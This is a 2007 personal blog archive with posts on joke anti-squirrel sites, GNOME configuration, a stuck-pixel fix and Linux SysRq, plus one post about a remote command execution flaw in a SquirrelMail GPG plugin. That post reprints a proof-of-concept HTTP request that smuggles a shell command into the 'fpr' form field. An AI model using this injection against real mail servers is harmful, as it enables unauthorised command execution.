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hear a woman moan your IP address

23 August, 2007 14:34

I bet you were just thinking how sexy it would be for a woman to moan your current IP address, were you not?

To ease your mind and relieve its frustrations, visit here for just what you were looking for.

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Anti Squirrel? Visit the ASC

23 August, 2007 13:09

 Anti Squirrel Coaltion (ASC)

"The squirrels are taking over! They are everywhere. You have seen them in your yards, under your cars( chewing the brake cables no doubt ), and in the government! Who will save the world from this abomination? The ASC and its many allies. Our Kentucky Chapter(now the national HQ) has fought the bushytail for some time now. We are SLM. Our job is to put the bushytail and his children under the knife to let him know that his seed is truly dead."

A year ago I was writing:

Some random sites of interest.

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N.A.D.S - North American Defense against Squirrels

16 August, 2007 15:48

The North American Defense against Squirrels web site provides resources and literature explaining the motivation (world domination and human enslavement), and first hand encounters and tactics to prevent squirrel / human devastation.

The goal of N.A.D.S (North American Defense against Squirrels) is to educate the population of the potential devestation squirrels are capable of and to uncover their plot for global domination, while continuing to push the envelope in ground breaking anti-squirrel tactics.

N.A.D.S was founded in 2002 by two fearless squirrel fighters, Pad and Dap. ** Since then Pad and Dap have dedicated much of their time researching the harmful intent of squirrels and their allies. The North American Defense Against Squirrels website came to life a year later.

A year ago I was writing:

cats beware, here we go again!

Meatloaf, beans and potatoes - Yum!

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gnome panel options on a per workspace basis

10 August, 2007 03:20

Wow, I didn't quite realize how insanely neurotic Gnome's configuration system is.  All I wanted to do was disable a panel for one specific workspace.  If this is a totally incorporable option with metacity, please let me know.

Not knowing anything about Gnome configuration hierarchy in terms of replacing previously defined variables, I attempted to make the change using metacity's workspace names, and a separate schematic for the particular 'name' of the workspace.  That was a no go.

Please, to all whom read this, give the guy with no Gnome GOD powers or senses an easy way to do what I want to accomplish.  What I have learned about this desktop environment, is that the squirrels were possibly involved.

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Squirrels are being disguised as rabbits in hopes to be adopted by kind hearted families.

09 August, 2007 15:44

The squirrels know they have not tricked the entire population of this earth to the deceptiveness of being cute.

Now they are disguising themselves as rabbits, and from there plan to mount a threat to humans.

This Blog post details their evil doings with pictures and suggestions if you run into one of these creatures. 

Evil Squirrel Disguised as a Rabbit

A year ago I was writing:

Thomas Jefferies

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Squirrelmail GPG Plugin Remote Command Execution Vulnerability

08 August, 2007 08:16

Leave it to the beavers when after I get my GPG plugin working with Squirrelmail, I find this notice of a remote command execution vulnerability.

The culprit is /plugins/gpg/modules/keyring_main.php which doesn't properly sanitize the $fpr POST data.

Here is a proof of concept from the originating article:

testbox:/home/w00t# cat /tmp/w00t
cat: /tmp/w00t: No such file or directory
testbox:/home/w00t#

***@silverlaptop:~$ nc *** 80
POST /webmail/plugins/gpg/modules/keyring_main.php HTTP/1.1
Host: ***
User-Agent: w00t
Keep-Alive: 300
Connection: keep-alive
Cookie: Authentication Data for SquirrelMail
Content-Type: application/x-www-form-urlencoded
Content-Length: 140

id=C5B1611B8E71C***\
&fpr= | touch /tmp/w00t |&pos=0&sort=email_name&desc=&srch=&ring=all\
&passphrase=&deletekey=true\
amp;deletepair=false&trust=1

It is also mentioned that there are several other vulnerabilities in the plugin.  I hope a developer steps up and does what needs to be done to release a stable version of this well needed and rather easy to use plugin.

Version 2.1 was released July 7th, 2007 and the exploit from what I have read dates around July 11th, 2007

I would try to sanitize the sting myself, or find a work around, but there are mentions of other vulnerabilities which makes me too cautious to continue using, or patching the plugin until there is another stable release. 

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how I fixed my LCD monitor's stuck pixel

06 August, 2007 20:38

It's my birthday, and it has been an interesting day to say the least.  There have been some family problems that had arise, but that didn't stop my day from being not too darn bad.

There is a pizza joint close by that serves a free pizza and salad lunch buffet for your birthday.  That was a no brainer, and I ate with my mother, Jim, and Camille, Jim's Daughter.

After the meal I went out to a local computer supplier with my mother and used some of the birthday earnings to purchase a 19" wide screen LCD monitor.

I was going to have them check for frozen or dead pixels, but I was too impatient.  I just figured I would fry the power supply if such dreaded pixels were to ruin my day.

I got it home, and what do you know, a stuck pixel.  I managed to fix it however by using the animated graphic on this site, positioned on the location of the misbehaving gadgetry.  

They recommend an hour, but I left it positioned there for an hour and a half.  When I removed the graphic, I found a half of a pixel, now green which was once blue.  Hmm, I guess a half a pixel is better than one.  I wasn't ready to give up though.

While the screen was on, I made the background of the pixel an absolute black.  I took a pen and covered the point with paper towel and positioned it directly over the pixel, pressed until the white goo appeared in a circle, and repeated about four more times.

It worked!  I have a perfectly pixilated monitor, from what I can tell.  I was wondering how I was going to muffle the sound of the exploding copacitators. 

A year ago I was writing:

I made it to 27! Celebrate!

Cafe Spew

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faster alternative to Control-Alt-Backspace using Alt-SysReq-K to kill your Linux GUI

03 August, 2007 21:05

If you are unfortunate and have a runaway process eating up your mystical ram cookies, control-alt-backspace can take a rather long time to die out of your X session.

An alternative which is immediately handled directly by the kernel and performs the same actions, is Alt-SysReq-K.  In order to enable this, you must edit /etc/sysctl.conf and make sure the following variable is defined as shown below:

kernel.sysrq = 1

Now you can hit Alt-SysReq-K and kill any application that holds the keyboard open (X windows if using a GUI).  You will then be able to login and perform the necessary steps to re-start the killed application and other system services running in the previous session.  Sure as hell beats re-booting!

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